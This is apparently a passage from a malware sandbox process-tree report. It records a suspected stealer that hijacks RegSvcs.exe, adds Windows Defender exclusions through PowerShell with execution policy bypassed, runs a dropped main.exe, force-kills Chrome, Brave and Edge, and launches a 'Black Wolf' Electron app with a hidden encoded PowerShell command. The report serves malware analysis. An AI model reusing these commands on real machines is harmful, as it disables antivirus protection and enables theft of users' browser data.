    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        
        PID:5488
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:1680
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:2092
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:3120
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4064
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ExecutionPolicy Bypass -C "& 'C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_tr0f0couwxq\5fsyrfdmsgs.ps1' -E 'C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_tr0f0couwxq\main.exe'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4040
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dpjlm12v\dpjlm12v.cmdline"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1224
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6446.tmp" "c:\Users\Admin\AppData\Local\Temp\dpjlm12v\CSC628677D381C6463AAA1438A4C0B71FC4.TMP"
        8⤵
        
        PID:4508
        
        C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_tr0f0couwxq\Unzip\main.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MSBuildTempVS2022_tr0f0couwxq\Unzip\main.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1644
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:4404
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM brave.exe
        8⤵
        
        PID:4716
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM msedge.exe
        8⤵
        
        PID:5028

C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe
"C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe"
1⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2664
- C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe
  "C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\react-example" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1636,i,6207529291018093395,9840552113072448670,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,7676601423377663462,9896368510582746884,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1576 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5676
- C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe
  "C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\react-example" --field-trial-handle=1636,i,6207529291018093395,9840552113072448670,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,7676601423377663462,9896368510582746884,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1844 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:4676
- C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe
  "C:\Users\Admin\AppData\Local\Programs\Black Wolf\Black Wolf.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\react-example" --app-path="C:\Users\Admin\AppData\Local\Programs\Black Wolf\resources\app.asar" --enable-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1636,i,6207529291018093395,9840552113072448670,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,7676601423377663462,9896368510582746884,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2468 /prefetch:1
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACQATwB1AHQAcAB1AHQARQBuAGMAbwBkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgACgAgACAAIAAgAFsAQwBvAG4AcwBvAGwAZQBdADoAOgBPAHUAdABwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAKAAoAIAAgACAAIAB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApACAAewAKACAAIAAgACAAIAAgACAAIAAjACAAQwBQAFUAIABUAGUAbQBwAAoAIAAgACAAIAAgACAAIAAgACQAYwBwAHUAVABlAG0AcAAgAD0AIAA0ADgACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGUAbQBwACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAE0AUwBBAGMAcABpAF8AVABoAGUAcgBtAGEAbABaAG8AbgBlAFQAZQBtAHAAZQByAGEAdAB1AHIAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAAiAHIAbwBvAHQALwBXAE0ASQAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAHAAdQBUAGUAbQBwACAAPQAgAFsAbQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAdABlAG0AcAAuAEMAdQByAHIAZQBuAHQAVABlAG0AcABlAHIAYQB0AHUAcgBlACAALQAgADIANwAzADIAKQAgAC8AIAAxADAALAAgADEAKQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBwAHUAVABlAG0AcAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAANAAyACAALQBNAGEAeABpAG0AdQBtACAANQA4AAoAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAjACAAUgBBAE0AIABVAHMAYQBnAGUACgAgACAAIAAgACAAIAAgACAAJABvAHMAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgACQAcgBhAG0AUABlAHIAYwBlAG4AdAAgAD0AIAA0ADUACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG8AcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdABvAHQAYQBsAFIAQQBNACAAPQAgAFsAbQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAG8AcwAuAFQAbwB0AGEAbABWAGkAcwBpAGIAbABlAE0AZQBtAG8AcgB5AFMAaQB6AGUAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGYAcgBlAGUAUgBBAE0AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHUAcwBlAGQAUgBBAE0AIAA9ACAAJAB0AG8AdABhAGwAUgBBAE0AIAAtACAAJABmAHIAZQBlAFIAQQBNAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAByAGEAbQBQAGUAcgBjAGUAbgB0ACAAPQAgAFsAbQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAdQBzAGUAZABSAEEATQAgAC8AIAAkAHQAbwB0AGEAbABSAEEATQApACAAKgAgADEAMAAwACwAIAAxACkACgAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACMAIABHAFAAVQAgAFUAcwBhAGcAZQAKACAAIAAgACAAIAAgACAAIAAkAGcAcAB1AFAAZQByAGMAZQBuAHQAIAA9ACAAMQA1AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHUAQwBvAHUAbgB0AGUAcgAgAD0AIABHAGUAdAAtAEMAbwB1AG4AdABlAHIAIAAiAFwARwBQAFUAIABQAHIAbwBjAGUAcwBzACAATQBlAG0AbwByAHkAKAAqACkAXABHAFAAVQAgAFUAcwBhAGcAZQAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGcAcAB1AEMAbwB1AG4AdABlAHIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHUAUABlAHIAYwBlAG4AdAAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABnAHAAdQBDAG8AdQBuAHQAZQByAC4AQwBvAHUAbgB0AGUAcgBTAGEAbQBwAGwAZQBzAFsAMABdAC4AQwBvAG8AawBlAGQAVgBhAGwAdQBlACwAIAAwACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHUAUABlAHIAYwBlAG4AdAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAOAAgAC0ATQBhAHgAaQBtAHUAbQAgADIAMgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAcAB1AFAAZQByAGMAZQBuAHQAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgADgAIAAtAE0AYQB4AGkAbQB1AG0AIAAyADIACgAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACMAIABHAFAAVQAgAFQAZQBtAHAACgAgACAAIAAgACAAIAAgACAAJABnAHAAdQBUAGUAbQBwACAAPQAgADAACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAHYAaQBkAGkAYQBTAG0AaQAgAD0AIAAiAEMAOgBXAGkAbgBkAG8AdwBzAFMAeQBzAHQAZQBtADMAMgAKAHYAaQBkAGkAYQAtAHMAbQBpAC4AZQB4AGUAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAG4AdgBpAGQAaQBhAFMAbQBpACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAcAB1AFQAZQBtAHAAUwB0AHIAIAA9ACAAJgAgACQAbgB2AGkAZABpAGEAUwBtAGkAIAAtAC0AcQB1AGUAcgB5AC0AZwBwAHUAPQB0AGUAbQBwAGUAcgBhAHQAdQByAGUALgBnAHAAdQAgAC0ALQBmAG8AcgBtAGEAdAA9AGMAcwB2ACwAbgBvAGgAZQBhAGQAZQByAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAZwBwAHUAVABlAG0AcABTAHQAcgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAcAB1AFQAZQBtAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoAFsAZABvAHUAYgBsAGUAXQAkAGcAcAB1AFQAZQBtAHAAUwB0AHIALAAgADAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHAAdQBUAGUAbQBwACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AaQBuAGkAbQB1AG0AIAAzADUAIAAtAE0AYQB4AGkAbQB1AG0AIAA1ADUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGcAcAB1AFQAZQBtAHAAIAAtAGUAcQAgADAAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHUAVABlAG0AcAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMwA1ACAALQBNAGEAeABpAG0AdQBtACAANQA1AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBwAHUAVABlAG0AcAAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMwA1ACAALQBNAGEAeABpAG0AdQBtACAANQA1AAoAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAjACAAQwBQAFUAIABMAG8AYQBkAAoAIAAgACAAIAAgACAAIAAgACQAYwBwAHUAUABlAHIAYwBlAG4AdAAgAD0AIAAxADIACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAHAAdQBVAHMAYQBnAGUATwBiAGoAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAbwByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGMAcAB1AFUAcwBhAGcAZQBPAGIAagApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAHAAdQBQAGUAcgBjAGUAbgB0ACAAPQAgAFsAbQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAGMAcAB1AFUAcwBhAGcAZQBPAGIAagAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAsACAAMAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAcAB1AFAAZQByAGMAZQBuAHQATwBiAGoAIAA9ACAAKABHAGUAdAAtAEMAbwB1AG4AdABlAHIAIAAiAFwAUAByAG8AYwBlAHMAcwBvAHIAKABfAFQAbwB0AGEAbAApAFwAJQAgAFAAcgBvAGMAZQBzAHMAbwByACAAVABpAG0AZQAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAHAAdQBQAGUAcgBjAGUAbgB0AE8AYgBqACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBwAHUAUABlAHIAYwBlAG4AdAAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABjAHAAdQBQAGUAcgBjAGUAbgB0AE8AYgBqAC4AQwBvAHUAbgB0AGUAcgBTAGEAbQBwAGwAZQBzAFsAMABdAC4AQwBvAG8AawBlAGQAVgBhAGwAdQBlACwAIAAwACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAHAAdQBQAGUAcgBjAGUAbgB0ACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AaQBuAGkAbQB1AG0AIAA4ACAALQBNAGEAeABpAG0AdQBtACAAMgAyAAoAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAjACAATgBlAHQAdwBvAHIAawAgAFMAdABhAHQAaQBzAHQAaQBjAHMAIABhAG4AZAAgAFMAcABlAGUAZAAKACAAIAAgACAAIAAgACAAIAAkAG4AZQB0AEEAZABhAHAAdABlAHIAIAA9ACAARwBlAHQALQBOAGUAdABBAGQAYQBwAHQAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBTAHQAYQB0AHUAcwAgAC0AZQBxACAAIgBVAHAAIgB9ACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAgACAAIAAgACAAIAAgACAAJABhAGQAYQBwAHQAZQByAE4AYQBtAGUAIAA9ACAAIgBOAG8AIABhAGMAdABpAHYAZQAgAGEAZABhAHAAdABlAHIAIgAKACAAIAAgACAAIAAgACAAIAAkAHIAeABTAHAAZQBlAGQAIAA9ACAAMAAuADAACgAgACAAIAAgACAAIAAgACAAJAB0AHgAUwBwAGUAZQBkACAAPQAgADAALgAwAAoAIAAgACAAIAAgACAAIAAgACQAdABvAHQAYQBsAEQAbwB3AG4AIAA9ACAAMAAuADAACgAgACAAIAAgACAAIAAgACAAJAB0AG8AdABhAGwAVQBwACAAPQAgADAALgAwAAoACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AZQB0AEEAZABhAHAAdABlAHIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGEAZABhAHAAdABlAHIATgBhAG0AZQAgAD0AIAAkAG4AZQB0AEEAZABhAHAAdABlAHIALgBOAGEAbQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABwAHIAZQB2AFMAdABhAHQAcwAgAD0AIABHAGUAdAAtAE4AZQB0AEEAZABhAHAAdABlAHIAUwB0AGEAdABpAHMAdABpAGMAcwAgAC0ATgBhAG0AZQAgACQAYQBkAGEAcAB0AGUAcgBOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAAcgBlAHYAUwB0AGEAdABzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHAAcgBlAHYAUgBlAGMAIAA9ACAAJABwAHIAZQB2AFMAdABhAHQAcwAuAFIAZQBjAGUAaQB2AGUAZABCAHkAdABlAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcAByAGUAdgBTAGUAbgB0ACAAPQAgACQAcAByAGUAdgBTAHQAYQB0AHMALgBTAGUAbgB0AEIAeQB0AGUAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADQAMAAwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAdQByAHIAUwB0AGEAdABzACAAPQAgAEcAZQB0AC0ATgBlAHQAQQBkAGEAcAB0AGUAcgBTAHQAYQB0AGkAcwB0AGkAYwBzACAALQBOAGEAbQBlACAAJABhAGQAYQBwAHQAZQByAE4AYQBtAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAHUAcgByAFMAdABhAHQAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAeABTAHAAZQBlAGQAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACgAKAAkAGMAdQByAHIAUwB0AGEAdABzAC4AUgBlAGMAZQBpAHYAZQBkAEIAeQB0AGUAcwAgAC0AIAAkAHAAcgBlAHYAUgBlAGMAKQAgACoAIAAyAC4ANQApACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB4AFMAcABlAGUAZAAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAKAAoACQAYwB1AHIAcgBTAHQAYQB0AHMALgBTAGUAbgB0AEIAeQB0AGUAcwAgAC0AIAAkAHAAcgBlAHYAUwBlAG4AdAApACAAKgAgADIALgA1ACkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AG8AdABhAGwARABvAHcAbgAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABjAHUAcgByAFMAdABhAHQAcwAuAFIAZQBjAGUAaQB2AGUAZABCAHkAdABlAHMAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAbwB0AGEAbABVAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAYwB1AHIAcgBTAHQAYQB0AHMALgBTAGUAbgB0AEIAeQB0AGUAcwAgAC8AIAAxAEcAQgAsACAAMgApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANAAwADAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA0ADAAMAAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgACAAIAAgACAAJABtAGUAdAByAGkAYwBzACAAPQAgAEAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGMAcAB1AFUAcwBhAGcAZQAgAD0AIABbAG0AYQB0AGgAXQA6ADoAbQBhAHgAKAAwACwAIABbAG0AYQB0AGgAXQA6ADoAbQBpAG4AKAAxADAAMAAsACAAJABjAHAAdQBQAGUAcgBjAGUAbgB0ACkAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAYQBtAFUAcwBhAGcAZQAgAD0AIABbAG0AYQB0AGgAXQA6ADoAbQBhAHgAKAAwACwAIABbAG0AYQB0AGgAXQA6ADoAbQBpAG4AKAAxADAAMAAsACAAJAByAGEAbQBQAGUAcgBjAGUAbgB0ACkAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcAB1AFUAcwBhAGcAZQAgAD0AIABbAG0AYQB0AGgAXQA6ADoAbQBhAHgAKAAwACwAIABbAG0AYQB0AGgAXQA6ADoAbQBpAG4AKAAxADAAMAAsACAAJABnAHAAdQBQAGUAcgBjAGUAbgB0ACkAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAZQBtAHAAQwAgAD0AIAAkAGMAcAB1AFQAZQBtAHAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABnAHAAdQBUAGUAbQBwAEMAIAA9ACAAJABnAHAAdQBUAGUAbQBwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAbgBlAHQAdwBvAHIAawBSAHgAIAA9ACAAJAByAHgAUwBwAGUAZQBkAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAbgBlAHQAdwBvAHIAawBUAHgAIAA9ACAAJAB0AHgAUwBwAGUAZQBkAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdABvAHQAYQBsAEQAbwB3AG4ARwBCACAAPQAgACQAdABvAHQAYQBsAEQAbwB3AG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AG8AdABhAGwAVQBwAEcAQgAgAD0AIAAkAHQAbwB0AGEAbABVAHAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABhAGQAYQBwAHQAZQByAE4AYQBtAGUAIAA9ACAAJABhAGQAYQBwAHQAZQByAE4AYQBtAGUACgAgACAAIAAgACAAIAAgACAAfQAKAAoAIAAgACAAIAAgACAAIAAgACQAagBzAG8AbgAgAD0AIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAG0AZQB0AHIAaQBjAHMAIAAtAEMAbwBtAHAAcgBlAHMAcwAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIASABBAFIARABXAEEAUgBFAF8ASQBOAEYATwBfAEoAUwBPAE4AOgAkAGoAcwBvAG4AIgAKACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoAIAAgACAAIAB9AAoAIAAgAA==
  2⤵
  PID:5768
- C:\Windows\system32\cmd.exe
